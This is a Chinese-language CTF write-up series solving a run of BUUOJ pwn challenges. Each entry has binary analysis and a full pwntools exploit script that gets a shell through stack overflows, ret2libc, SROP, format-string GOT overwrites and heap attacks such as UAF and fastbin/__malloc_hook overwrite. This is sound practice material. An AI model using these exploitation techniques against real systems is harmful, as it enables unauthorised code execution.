![UXHLHKU0D9MFLEY3MJK_`QT.png](https://i.loli.net/2020/10/09/TREtZOFSvhdqVup.png)

GetFlag()函数中会拷贝srcdest上,存在栈溢出

_@SVK_64XY_UGE02KN_Q6_9.png

同时程序中存在system()函数与sh字符串

image.png

![X0WS9USGGKI`WCZK0_J80_7.png](https://i.loli.net/2020/10/09/a7OuQVLPsSAMd85.png)

故直接溢出控制程序执行system("/bin/sh")即可

构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

sh_addr = 0x80482ea
call_sys = 0x80486b9
payload = b'A'*0x48 + p32(0xdeadbeef) + p32(call_sys) + p32(sh_addr)

p = process('./ciscn_2019_ne_5')#remote('node3.buuoj.cn',26005)
p.sendline(b'administrator')
p.sendline(b'1')
p.sendline(payload)
p.sendline(b'4')
p.interactive()

运行即可getshell

![L_YGD`OM1C_L_RJ~7__23SD.png](https://i.loli.net/2020/10/09/TUIEloeFPhfsXqC.png)

0x017.ciscn_2019_s_3 - ret2csu || SROP

某位可爱的女师傅的要求先来做这道题(((

惯例的checksec,发现只开了栈不可执行保护

image.png

拖入IDA进行分析:
image.png

image.png

可以看到,main()函数会调用vuln()函数,在vuln()函数中会调用两个系统调用——0号系统调用sys_read读入最大0x400个字节到buf上,buf只分配到了0x10个字节的空间,存在栈溢出;随后调用1号系统调用sys_write输出buf上的0x30字节的内容

同时我们还可以观察到有一个没有被用到的gadget()函数,里面有两条gadget将rax设为0xf或0x3b,也就是15或59

image.png

syscall指令从rax寄存器中读取值并调用相对应的系统调用(从程序本身的代码我们也可以看出这一点),对应的我们可以想到的是这个gadget要我们通过相应的系统调用来getshell

在64位Linux下,15号系统调用是rt_sigreturn,而59号系统调用则是我们所熟悉的execve那么这个系统调用该怎么利用呢我暂且蒙在古里

系统调用一览表见这里

考虑到在vuln()函数中只分配了0x10个字节的空间给buf,但是后面的系统调用write会输出0x30个字节的内容,即除了我们的输入之外还会打印一些栈上的内容,其中前0x20个字节的内容分别为:0x10字节的buf、8字节的old_rbp(作为返回地址)、8字节的main函数中的call vuln指令的下一条指令的地址,剩下的0x10个字节则是栈上的一些其他的内容

我们使用gdb进行调试看看是什么内容:

image.png

可以看到0x7fffffffdc60上储存的内容即为old_rbp0x7fffffffdc68上储存的内容为main函数中的call vuln指令的下一条指令的地址,而0x7fffffffdc70上储存的则是一个地址,我们很容易计算得出其与栈基址间的偏移量为0x7fffffffdd78 - 0x7fffffffdc60 = 0x118

那么我们只需要读取这个值再减去偏移量便可以得到栈基址的地址

解法1:ret2csu

考虑到存在59号系统调用execve,故考虑构造rop链通过execve("/bin/sh",0,0)以getshell

文件中不存在"/bin/sh"字符串,由于栈基址可知,故考虑手动输入到栈上

这里我们使用csu中的gadget先将r13、r14置为0,之后再mov rdx,r13;mov rsi,r14将rsi和rdx置为0

由于这个gadget运行到后面会执行call [r12 + 8*rsp](rsp已被置0,故实际效果是执行```call [r12]``),故我们还需要在r12内放入一个存有适合指令的地址的地址,这里由于此前我们已经获得了一个栈上地址,故考虑直接在栈上放一个带有ret的gadget的地址后将r12置为该栈上地址即可继续控制程序执行流,需要注意的是call指令会往栈上压入当前的下一条指令的地址,我们还需要将之弹出栈

构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *

mov_rax_59_ret = 0x4004e2
pop_rdi_ret = 0x4005a3
pop_rbx_rbp_r12_r13_r14_r15_ret = 0x40059a
mov_rdx_r13_mov_rsi_r14_mov_edi_r15_call_r12 = 0x400580
vuln_addr = 0x4004ed
syscall = 0x400517

payload1 = b'A'*0x10 + p64(vuln_addr)

p = remote('node3.buuoj.cn',28147)#process('./ciscn_s_3')#
p.sendline(payload1)
p.recv(0x20)
stack_addr = u64(p.recv(8))-0x118
sh_addr = stack_addr + 8
log.info(hex(sh_addr))
#gdb.attach(p)
payload2 = p64(pop_rdi_ret) + b'/bin/sh\x00' + p64(pop_rbx_rbp_r12_r13_r14_r15_ret)
payload2 += p64(0) + p64(0) + p64(stack_addr) + p64(0) + p64(0) + p64(0)
payload2 += p64(mov_rdx_r13_mov_rsi_r14_mov_edi_r15_call_r12)
payload2 += p64(mov_rax_59_ret) + p64(pop_rdi_ret) + p64(sh_addr)
payload2 += p64(syscall)
p.sendline(payload2)
#gdb.attach(p)
p.interactive()

运行脚本即可getshell

image.png

解法2:SROP

试了好几种姿势都没弄出来,离谱

难道SROP退出历史舞台了🐎

是我傻了,我给弄成str().encode()了,应该用bytes()…

早知道自己手撕一个frame可能还好点

前面的解法我们使用了gadget中给出的59号系统调用execve,这个解法则是使用了gadget中给出的另外一个15号系统调用rt_sigreturn

系统调用rt_sigreturn用于恢复用户态的寄存器状态,从栈上保存的数据来恢复寄存器的状态

在正常情况下,由用户态切换到内核态之前,系统会将当前进程的寄存器状态压入栈中,将rt_sigreturn作为返回地址一并压入;从内核态切回用户态时便通过栈上的数据来恢复寄存器的状态,大致布局如下:

image.png

因此我们只需要伪造一个SigreturnFrame执行execve(“/bin/sh”,0,0)即可

使用pwntools中的SigreturnFrame工具可以快速构造一个 fake frame

构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
context.arch = 'amd64'
p =remote('node3.buuoj.cn',26063)# process('./ciscn_s_3') #
e = ELF('./ciscn_s_3')
mov_rax_15_ret = 0x4004da
vuln_addr = 0x4004ed
syscall_addr = 0x400517
payload1 = b'A' * 0x10 + p64(vuln_addr)


p.sendline(payload1)
p.recv(0x20)
stack_leak = u64(p.recv(8)) - 0x118
log.info("stack addr: " + hex(stack_leak))

frame = SigreturnFrame()
frame.rax = 0x3b # syscall::execve, constants.SYS_execve is also ok
frame.rip = syscall_addr
frame.rdi = stack_leak
frame.rsi = 0
frame.rdx = 0
payload2 = b'/bin/sh\x00' + p64(0xdeadbeef) + p64(mov_rax_15_ret) + p64(syscall_addr) + bytes(frame)

p.sendline(payload2)
p.interactive()

运行即得flag

image.png

SROP(Sigreturn Oriented Programming)技术利用了类Unix系统中的Signal机制,如图:

img

  1. 当一个用户层进程发起signal时,控制权切到内核层
  2. 内核保存进程的上下文(对我们来说重要的就是寄存器状态)到用户的栈上,然后再把rt_sigreturn地址压栈,跳到用户层执行Signal Handler,即调用rt_sigreturn
  3. rt_sigreturn执行完,跳到内核层
  4. 内核恢复②中保存的进程上下文,控制权交给用户层进程

先知社区-SROP exploit

0x018.铁人三项(第五赛区)_2018_rop - ret2libc

惯例的checksec,只开了NX

image.png

拖入IDA分析

image.png

直接给了一个很大的溢出,但是没有直接getshell的gadget,故考虑构造rop链先泄露read函数真实地址再使用LibcSearcher寻找Libc版本最后构造rop链执行system("/bin/sh")以getshell

构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from LibcSearcher import *
from pwn import *
p = remote('node3.buuoj.cn',28409)#process('./2018_rop')
e = ELF('./2018_rop')
offset = 0x88
read_got = e.got['read']
write_plt = e.plt['write']

payload1 = offset * b'A' + p32(0xdeadbeef) + p32(write_plt) + p32(0x8048474) + p32(1) + p32(read_got) + p32(4)

p.sendline(payload1)
read_str = p.recv(4).ljust(4,b'\x00')
print(read_str)
read_addr = u32(read_str)

libc = LibcSearcher('read',read_addr)
libc_base = read_addr - libc.dump('read')
sys_addr = libc_base + libc.dump('system')
sh_addr = libc_base + libc.dump('str_bin_sh')

payload2 = offset * b'A' + p32(0xdeadbeef) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)
p.sendline(payload2)
p.interactive()

image.png

0x019.bjdctf_2020_babyrop - ret2csu + ret2libc

惯例checksec,只开了栈不可执行保护

image.png

拖入IDA进行分析

image.png

可以发现在vuln()函数处存在栈溢出

由于没有后面函数,故考虑ret2libc构造rop链执行system("/bin/sh")

构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
from LibcSearcher import *

p = remote('node3.buuoj.cn',28167) # p = process('./bjdctf_2020_babyrop') #
e = ELF('./bjdctf_2020_babyrop')

pop_rdi_ret = 0x400733
puts_plt = e.plt['puts']
puts_got = e.got['puts']
offset = 0x20

payload1 = offset*b'A' + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(e.sym['vuln'])

p.recv()
p.sendline(payload1)
puts_str = p.recvuntil(b'\nPull up',drop = True).ljust(8,b'\x00')
print(puts_str)
puts_addr = u64(puts_str)

libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
sh_addr = libc_base + libc.dump('str_bin_sh')
sys_addr = libc_base + libc.dump('system')

payload2 = offset*b'A' + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(sh_addr) + p64(sys_addr)
p.sendline(payload2)

p.interactive()

运行脚本,得到flag

image.png

0x01A.pwn2_sctf_2016 - integer overflow + ret2libc

惯例checksec,发现只开了NX保护

![0QJ_UK7O_A2KJOURYNP`_KW.png](https://i.loli.net/2020/10/09/j5cJeXs3HS4VQr2.png)

拖入IDA进行分析

vuln()函数中使用get_n()函数读入4字节并使用atoi()转为数字,若是大于32则退出,否则再一次调用get_n()函数进行读入

![A`GN6_COM3ZZ5BGCO0P1~AK.png](https://i.loli.net/2020/10/09/IUtdTGcg2eHshOn.png)

不过我们可以发现在get_n()函数中,其所接收的第二个参数为unsigned int,若是我们读入数字-1则会发生整数溢出变成一个巨大的正数,那么在这里便存在溢出点了

SH@J5_XNE_9R_DEH0R_A_T0.png

文件本身不存在可以直接getshell的函数(并且附赠了一堆没用的gadget),故考虑ret2libc,首先泄漏出printf函数地址,再使用LibcSearcher得到libc,最后构造system("/bin/sh")即可

程序中存在%s字符串供打印

1__H@0HQW54N_D27DI_SM_3.png

构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
from LibcSearcher import *

e = ELF('./pwn2_sctf_2016')

bss_addr = 0x804A040
fmtstr_addr = 0x8048702
printf_got = e.got['printf']
printf_plt = e.plt['printf']
main_addr = e.sym['main']
payload = b'A'*0x2c + p32(0xdeadbeef) + p32(printf_plt) + p32(main_addr) + p32(fmtstr_addr) + p32(printf_got)

p =remote('node3.buuoj.cn',29032)
p.sendline(b'-1')
p.sendline(payload)
p.recvuntil(b'You said')
p.recvuntil(b'\n')

printf_addr = u32(p.recv(4))
libc = LibcSearcher('printf',printf_addr)
libc_base = printf_addr - libc.dump('printf')
sh_addr = libc_base + libc.dump('str_bin_sh')
sys_addr = libc_base + libc.dump('system')
payload2 = b'A'*0x2c + p32(0xdeadbeef) + p32(sys_addr) + 5*p32(sh_addr)

p.sendline(b'-1')
p.sendline(payload2)
p.interactive()

运行即可getshell

E@O1G4DY_S2_DR_2J_0E__O.png

0x01B.others_shellcode

直接连接就有flag了…

image.png

0x01C.[HarekazeCTF2019]baby_rop2 - ret2csu + ret2libc

惯例的checksec,发现只开了NX

image.png

拖入IDA进行分析

image.png

主函数中存在溢出,不过没有可以利用的函数,故考虑ret2libc:先使用printf泄露read函数地址再用LibcSearcher得到libc最后构造rop链执行system("/bin/sh")即可

构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
from LibcSearcher import *

e = ELF('./babyrop2')

pop_rsi_r15_ret = 0x400731
pop_rdi_ret = 0x400733
fmtstr = 0x400790
read_got = e.got['read']
printf_plt = e.plt['printf']
main_addr = e.sym['main']
payload = b'A'*0x20 + p64(0xdeadbeef) + p64(pop_rsi_r15_ret) + p64(read_got) +p64(0) + p64(pop_rdi_ret) + p64(fmtstr) + p64(printf_plt) + p64(e.sym['main'])

p = remote('node3.buuoj.cn',25106)
p.recv()
p.sendline(payload)
str = p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')
print(str)
read_addr = u64(str)
libc = LibcSearcher('read',read_addr)
libc_base = read_addr - libc.dump('read')
sh_addr = libc_base + libc.dump('str_bin_sh')
sys_addr = libc_base + libc.dump('system')
payload2 = b'A'*0x20 + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(sh_addr) + p64(sys_addr)

p.sendline(payload2)
p.interactive()

运行,得到flag藏的位置好深啊

F240_K_XDU@_4RS_JFVI~RP.png

0x01D.ez_pz_hackover_2016 - ret2shellcode

惯例的checksec,保护全关,暗示我们可以为所欲为

1606747425236

拖入IDA进行分析

chall()函数中给我们泄露了一个栈上地址,并读入1023字节,无法溢出

image.png

但是在vuln函数中会拷贝一次我们的输入,可以溢出

image.png

由于给了一个栈上地址,故考虑输入一段shellcode后跳转即可

需要注意的一个点是vuln()函数是将传入的参数的地址作为参数传入memcpy的,故实际上会额外拷贝0xec - 0xd0 = 0x1c字节,那么我们填充到ebp所需的padding长度其实只需要0x32 - 0x1c = 0x16字节

1606752784211

泄露出来的地址和我们拷贝到的地址上的shellcode间距为0x9ec - 0x9d0 = 0x1c,直接跳转过去即可,需要注意的是因为memcpy拷贝了长达0x400字节的内容,会将我们第一次输入的数据尽数破坏,故我们只能向拷贝后的地址跳

image.png

_9T8_GI__708_M0FN1H~_GC.png

故构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context.arch = 'i386'
p = process("./ez_pz_hackover_2016") # remote("node3.buuoj.cn", 25809) #
offset = 0x16
verify = b"crashme\x00"

p.recvuntil("lets crash: ")
stack_leak = int(p.recvuntil('\n')[:-1], 16)
log.info("stack leak: " + hex(stack_leak))
payload = verify + b'A' * (offset - len(verify)) + p32(0xdeadbeef)
payload += p32(stack_leak - 0x1c) + asm(shellcraft.sh())

p.sendline(payload)
p.interactive()

运行,得到flag

image.png

0x01E.ciscn_2019_es_2 - ret2text + stack migration

惯例的checksec,发现只开了栈不可执行保护

image.png

拖入IDA进行分析

image.png

存在溢出,且读取两次输出两次,故第一次我们可以填充0x28字节获得一个栈上地址

image.png

存在system函数

由于溢出只有8个字节,而我们能够获得栈上地址,故考虑进行栈迁移,在栈上构造ROP链

题目中只给了system()函数,没给/bin/sh字符串,不过由于栈上地址可知,故我们可以将之读取到栈上

gdb调试可知我们的输入与所泄露地址间距为0xe18 - 0xde0 = 0x38

image.png

故构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context.arch = 'i386'
p = remote("node3.buuoj.cn", 25040) # process("./ciscn_2019_es_2") #
e = ELF("./ciscn_2019_es_2")
offset = 0x28
leave_ret = 0x80485FD
payload = b'A' * offset
p.recv()
p.send(payload)
p.recvuntil(payload)
stack_leak = u32(p.recv(4))
log.info(hex(stack_leak))
payload2 = p32(e.sym['system']) + p32(0xdeadbeef) + p32(stack_leak-0x38 + 12) + b'/bin/sh\x00'
payload2 += b'A' * (offset - len(payload2)) + p32(stack_leak - 0x38 - 4) + p32(leave_ret)
p.sendline(payload2)
p.interactive()

运行即得flag

image.png

0x01F.[Black Watch 入群题]PWN - ret2libc + stack migration

惯例的checksec,发现只开了栈不可执行保护

image.png

拖入IDA进行分析

image.png

第一次往bss段上读入0x200字节,第二次往栈上读入0x20字节,只能刚好溢出8个字节

故考虑进行栈迁移将栈迁移到bss段上

由于不存在可以直接getshell的gadget,故考虑ret2libc:先泄漏出write函数真实地址后使用LibcSearcher查找libc版本后执行system("/bin/sh")即可

故构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
from LibcSearcher import *
p = remote("node3.buuoj.cn", 29227) # process("./spwn") #
e = ELF("./spwn")
bss_addr = 0x0804A300
leave_ret = 0x8048511
payload1 = p32(e.plt['write']) + p32(e.sym['main']) + p32(1) + p32(e.got['write']) + p32(4)
payload2 = b'A' * 0x18 + p32(bss_addr - 4) + p32(leave_ret)

p.send(payload1)
p.recvuntil(b'What do you want to say?')
p.send(payload2)

write_addr = u32(p.recv(4))
log.info(hex(write_addr))
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
sh_addr = libc_base + libc.dump('str_bin_sh')
sys_addr = libc_base + libc.dump('system')
payload3 = p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)

p.recvuntil(b"What is your name?")
p.send(payload3)
p.recvuntil(b'What do you want to say?')
p.send(payload2)
p.interactive()

运行即得flag

image.png

0x020.jarvisoj_level3 - ret2libc

惯例的checksec,发现只开了栈不可执行保护

image.png

拖入IDA进行分析

image.png

存在120字节的溢出

由于不存在可以直接getshell的gadget,故考虑ret2libc:先泄漏出write函数真实地址后使用LibcSearcher查找libc版本后执行system("/bin/sh")即可

构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
from LibcSearcher import *
p = process('./level3') # p = remote('node3.buuoj.cn',26149)
e = ELF('./level3')
offset = 0x88

payload1 = b'A' * offset + p32(0xdeadbeef) + p32(e.plt['write']) + p32(e.sym['main']) + p32(1) + p32(e.got['write']) + p32(4)

p.recv()
p.send(payload1)
write_addr = u32(p.recv(4))

libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')
sh_addr = libc_base + libc.dump('str_bin_sh')
sys_addr = libc_base + libc.dump('system')

payload2 = b'A'*offset + p32(0xdeadbeef) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)

p.sendline(payload2)
p.interactive()

运行即得flag

image.png

感觉ret2libc的题基本都大同小异啊…

0x021.[BJDCTF 2nd]test - Linux基础知识

题目只给了一个ssh,尝试进行连接

image.png

尝试一下发现我们无法直接获得flag

image.png

查看一下文件权限,发现只有ctf_pwn用户组才有权限

image.png

提示告诉我们有一个可执行文件test与其源码,尝试阅读

image.png

该程序会将我们的输入作为命令执行,但是会过滤一部分字符

尝试使用如下指令查看剩余的可用命令

1
`$ ls /usr/bin/ /bin/ | grep -v -E "n|e|p|b|u|s|h|i|f|l|a|g"`

image.png

我们发现在test程序中有效用户组为ctf_pwn,故使用该程序获取一个shell即可获得flag

image.png

image.png

0x022.[BJDCTF 2nd]r2t4 - fmtstr

惯例的checksec,开了NX和canary

image.png

拖入IDA进行分析

image.png

main中存在溢出,且存在格式化字符串漏洞

image.png

存在可以读取flag的后门函数

简单尝试可以发现格式化字符串是位于栈上的第六个参数

image.png

故考虑利用格式化字符串进行任意地址写劫持got表中的__stack_chk_fail为后门函数地址即可

需要注意的是printf函数遇到\x00会发生截断,故不能直接使用fmtstr_payload,而是要用手写的格式化字符串

构造exp如下:

1
2
3
4
5
6
7
8
from pwn import *
p = process('./r2t4')#remote('node3.buuoj.cn',25635)
e = ELF('./r2t4')
backdoor = 0x400626
payload = b'%64c%9$hn%1510c%10$hnaaa' + p64(e.got['__stack_chk_fail']+2) + p64(e.got['__stack_chk_fail'])#fmtstr_payload(6,{e.got['__stack_chk_fail']:backdoor})
payload.ljust(100,b'A')
p.sendline(payload)
p.interactive()

获得flag

image.png

0x023.jarvisoj_fm - fmtstr

惯例的checksec,开了NX和canary

image.png

拖入IDA进行分析,存在格式化字符串漏洞

image.png

当x为4时直接getshell,x在bss段上

image.png

格式化字符串在第13个参数的位置

image.png

故构造exp如下:

1
2
3
4
5
6
7
from pwn import *

payload = fmtstr_payload(11,{0x804A02C:0x4})

p = remote('node3.buuoj.cn',25865)
p.sendline(payload)
p.interactive()

运行即得flag

image.png

0x024.jarvisoj_tell_me_something - ret2csu + ret2libc

惯例的checksec,发现只开了栈不可执行保护

image.png

拖入IDA进行分析

image.png

直接就有一个很大的溢出

由于不存在可以直接getshell的gadget,故考虑ret2libc:先泄漏出write函数真实地址后使用LibcSearcher查找libc版本后执行system("/bin/sh")即可

构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
from LibcSearcher import *
#context.log_level = 'DEBUG'
p = remote('node3.buuoj.cn',26270)#process('./guestbook') #
e= ELF('./guestbook')
offset = 0x88
pop_rdi_ret = 0x4006F3
pop_rsi_r15_ret = 0x4006f1

payload1 = b'A'* offset + p64(pop_rsi_r15_ret) + p64(e.got['write']) + p64(0) + p64(pop_rdi_ret) + p64(1) + p64(e.plt['write']) + p64(e.sym['main'])
p.sendline(payload1)
p.recvuntil(b'I have received your message, Thank you!\n')
write_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')
sh_addr = libc_base + libc.dump('str_bin_sh')
sys_addr = libc_base + libc.dump('system')

payload2 = b'A'* offset + p64(pop_rdi_ret) + p64(sh_addr) + p64(sys_addr)
p.sendline(payload2)
p.interactive()

运行即得flag

image.png

0x025.[BJDCTF 2nd]ydsneedgirlfriend2 - overwrite

惯例的checksec,开了NX和canary

image.png

拖入IDA进行分析

image.png

看起来是一道堆题,存在分配、释放、打印堆块的功能

同时我们可以发现程序中存在后门函数

image.png

题目提示是Ubuntu18,也就是libc2.27,引入了tcache机制,但是没有tcache double free验证的版本

add函数中似乎只能分配7个堆块,空间有点紧张,而且每次分配后都会覆盖掉原来的堆块指针

image.png

好在free后未将指针置0,存在Use After Free漏洞

image.png

同时我们可以发现show()函数中调用的是girlfriend[0][1]中的数据作为函数指针来执行,而girlfriend本身就是一个指针,在初始时分配的是0x10大小的堆块

image.png

故我们只需要初始化girlfriend后free掉girlfriend再重新分配一个0x10大小的堆块即可改写该指针为后门函数地址后再show即可getshell

构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
p = process('./girlfriend') # remote('node3.buuoj.cn',27506)
backdoor = 0x400D86

def cmd(command:int):
p.recvuntil(b'u choice :')
p.sendline(str(command).encode())

def new(size:int, content):
cmd(1)
p.recvuntil(b"Please input the length of her name:")
p.send(str(size).encode())
p.recvuntil(b"Please tell me her name:")
p.send(content)

def delete(index:int):
cmd(2)
p.recvuntil(b"Index :")
p.sendline(str(index).encode())

def show(index:int):
cmd(3)
p.recvuntil(b"Index :")
p.sendline(str(index).encode())

def exp():
new(0x80, "arttnba3")
delete(0)
new(0x10, p64(0) + p64(backdoor))
show(0)
p.interactive()

if __name__ == "__main__":
exp()

运行即可getshell

image.png

0x026.jarvisoj_level4 - ret2libc

惯例的checksec,发现只开了栈不可执行保护

I1__E1AGMQCM8C3C__IR4_N.png

拖入IDA进行分析

image.png

直接就有一个很大的溢出

由于不存在可以直接getshell的gadget,故考虑ret2libc:先泄漏出write函数真实地址后使用LibcSearcher查找libc版本后执行system("/bin/sh")即可

构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
from LibcSearcher import *
p = process('./level4') # p = remote('node3.buuoj.cn',28914)
e = ELF('./level4')
offset = 0x88

payload1 = b'A' * offset + p32(0xdeadbeef) + p32(e.plt['write']) + p32(e.sym['main']) + p32(1) + p32(e.got['write']) + p32(4)

p.send(payload1)
write_addr = u32(p.recv(4))

libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')
sh_addr = libc_base + libc.dump('str_bin_sh')
sys_addr = libc_base + libc.dump('system')

payload2 = b'A'*offset + p32(0xdeadbeef) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)

p.sendline(payload2)
p.interactive()

运行即得flag

image.png

0x027.[V&N2020 公开赛]simpleHeap - off by one + fastbin attack + one_gadget

又是一道堆题来了,看来往后应该都是堆题为主了,不出所料,保 护 全 开

image.png

同时题目提示Ubuntu16,也就是说没有tcache

拖入IDA进行分析

image.png

这是一道有着分配、打印、释放、编辑堆块的功能的堆题,不难看出我们只能分配10个堆块,不过没有tcache的情况下,空间其实还是挺充足的

漏洞点在edit函数中,会多读入一个字节,存在off by one漏洞,利用这个漏洞我们可以修改一个堆块的物理相邻的下一个堆块的size

image.png

由于题目本身仅允许分配大小小于111的chunk,而进入unsorted bin需要malloc(0x80)的chunk,故我们还是考虑利用off by one的漏洞改大一个chunk的size送入unsorted bin后分割造成overlapping的方式获得libc的地址

image.png

因为刚好fastbin attack所用的chunk的size为0x71,故我们将这个大chunk的size改为 0x70 + 0x70 + 1 = 0xe1即可

fastbin attack中分配到__malloc_hook附近的fake chunk通常都是malloc(0x60),也就是size == 0x71,这是因为在__malloc_hook - 0x23这个地址上fake chunk的SIZE的位置刚好是0x7f,满足了绕过fastbin的size检查的要求

image.png

传统思路是将__malloc_hook改为one_gadget以getshell,但是直接尝试我们会发现根本无法getshell

image.png

这是因为one_gadget并非任何时候都是通用的,都有一定的先决条件,而当前的环境刚好不满足one_gadget的环境

image.png

那么这里我们可以尝试使用realloc函数中的gadget来进行压栈等操作来满足one_gadget的要求,该段gadget执行完毕后会跳转至__realloc_hook(若不为NULL)

image.png

而__realloc_hook和__malloc_hook刚好是挨着的,我们在fastbin attack时可以一并修改

image.png

故考虑修改__malloc_hook跳转至realloc函数开头的gadget调整堆栈,修改__realloc_hook为one_gadget即可getshell

构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
p = remote('node3.buuoj.cn', 28978)
libc = ELF('./libc-2.23.so')
context.log_level = 'DEBUG'
one_gadget = 0x4526a

def cmd(command:int):
p.recvuntil(b"choice: ")
p.sendline(str(command).encode())

def new(size:int, content):
cmd(1)
p.recvuntil(b"size?")
p.sendline(str(size).encode())
p.recvuntil(b"content:")
p.send(content)

def edit(index:int, content):
cmd(2)
p.recvuntil(b"idx?")
p.sendline(str(index).encode())
p.recvuntil(b"content:")
p.send(content)

def show(index:int):
cmd(3)
p.recvuntil(b"idx?")
p.sendline(str(index).encode())

def free(index:int):
cmd(4)
p.recvuntil(b"idx?")
p.sendline(str(index).encode())

def exp():
# initialize chunk
new(0x18, "arttnba3") # idx 0
new(0x60, "arttnba3") # idx 1
new(0x60, "arttnba3") # idx 2
new(0x60, "arttnba3") # idx 3, prevent the top chunk consolidation

# off by one get the unsorted bin chunk
edit(0, b'A' * 0x10 + p64(0) + b'\xe1') # 0x70 + 0x70 + 1
free(1)
new(0x60, "arttnba3") # idx 1

# leak the libc addr
show(2)
main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 88
malloc_hook = main_arena - 0x10
libc_base = main_arena - 0x3c4b20
log.success("libc addr: " + hex(libc_base))

# overlapping and fastbin double free
new(0x60, "arttnba3") # idx 4, overlapping with idx 2
free(2)
free(1)
free(4)

# fake chunk overwrite __realloc_hook
new(0x60, p64(libc_base + libc.sym['__malloc_hook'] - 0x23)) # idx 1
new(0x60, "arttnba3") # idx 2
new(0x60, "arttnba3") # idx 4
new(0x60, b'A' * (0x13 - 8) + p64(libc_base + one_gadget) + p64(libc_base + libc.sym['__libc_realloc'] + 0x10)) # idx 5, our fake chunk

# get the shell
cmd(1)
p.sendline(b'1')
p.interactive()

if __name__ == '__main__':
exp()

运行即可get shell

image.png

不得不说V&N出的题质量还是可以的

0x028.jarvisoj_level3_x64 - ret2csu + ret2libc

惯例的checksec,发现只开了栈不可执行保护

image.png

拖入IDA进行分析

image.png

直接就有一个很大的溢出

由于不存在可以直接getshell的gadget,故考虑ret2libc:先泄漏出write函数真实地址后使用LibcSearcher查找libc版本后执行system("/bin/sh")即可

两个小gadget的地址如下

image.png

故构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
from LibcSearcher import *
p = process('./level3_x64') # remote('node3.buuoj.cn',26836)
e = ELF('./level3_x64')
write_got = e.got['write']
write_plt = e.plt['write']
offset = 0x80
pop_rsi_r15_ret = 0x4006b1
pop_rdi_ret = 0x4006b3
payload1 = b'A' * offset + p64(0xdeadbeef) + p64(pop_rsi_r15_ret) + p64(write_got) + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(1) + p64(write_plt) + p64(e.sym['main'])

p.recv()
p.sendline(payload1)
write_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')
sh_addr = libc_base + libc.dump('str_bin_sh')
sys_addr = libc_base + libc.dump('system')

payload2 = b'A' * offset + p64(0xdeadbeef) + p64(pop_rdi_ret) + p64(sh_addr) + p64(sys_addr)
p.sendline(payload2)
p.interactive()

运行即可getshell

image.png

0x029.bjdctf_2020_babystack2 - integer overflow + ret2text

惯例的checksec,发现只开了栈不可执行保护

image.png

拖入IDA进行分析

image.png

read读入时会把signed转成unsigned, 输入-1即可绕过检测

同时我们发现存在后门函数,返回至此即可

image.png

构造exp如下:

1
2
3
4
5
6
7
8
9
from pwn import *
p = process('./bjdctf_2020_babystack2') # remote('node3.buuoj.cn', 25058)
backdoor = 0x400726
offset = 0x10
payload = b'A' * offset + p64(0xdeadbeef) + p64(backdoor)

p.sendline(str(-1).encode())
p.sendline(payload)
p.interactive()

运行即可getshell

image.png

0x02A.hitcontraining_uaf - UAF + fastbin double free

漏洞直接在题目名称里说明了事UAF

惯例的checksec,发现只开了栈不可执行保护

image.png

拖入IDA进行分析,我们可以发现这个程序有着分配、打印、释放堆块的功能

不难看出在添加堆块时首先会分配一个8字节大小的chunk,该chunk前4字节储存一个函数指针,后4字节则储存实际分配的chunk的指针

image.png

在打印堆块时会调用小chunk中的函数指针来打印堆块内容

image.png

同时我们可以发现在释放堆块的过程中并未将堆块指针置0,存在UAF漏洞

image.png

同时我们可以发现存在后门函数

